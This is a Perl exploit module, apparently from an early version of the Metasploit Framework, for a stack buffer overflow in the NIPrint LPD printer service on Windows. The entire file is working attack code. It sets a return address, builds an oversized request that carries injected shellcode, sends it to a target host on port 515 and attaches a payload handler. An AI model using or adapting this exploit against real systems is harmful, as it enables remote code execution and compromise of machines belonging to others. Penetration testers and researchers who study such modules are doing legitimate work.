my $advanced = { };

my $info =
{
'Name' => 'NIPrint LPD Request Overflow',
'Version' => '$Revision: 3715 $',
'Authors' =>
[
'H D Moore <hdm [at] metasploit.com>',
],

'Arch' => [ 'x86' ],
'OS' => [ 'win32' ],
'Priv' => 0,

'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The LPD server port', 515],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in the
Network Instrument NIPrint LPD service. Inspired by
Immunity's VisualSploit :-)

}),

'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00",
'Keys' => ['+ws2ord'],
},

'Refs' =>
[
['OSVDB', '2774'],
['BID', '8968'],
['URL', 'http://www.immunitysec.com/documentation/vs_niprint.html'],
],

'DefaultTarget' => 0,

'Targets' =>
[
['NIPrint3.EXE (TDS:0x3a045ff2)', 0x00404236], # jmp esi
],

'Keys' => ['lpd'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);

if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
my $req = Pex::Text::AlphaNumText(8192);
substr($req, 0, 2, "\xeb\x33");
substr($req, 49, 4, pack('V', $target->[1]));
substr($req, 53, length($shellcode), $shellcode);

$s->Send($req);
$self->Handler($s);
$s->Close;
return;
}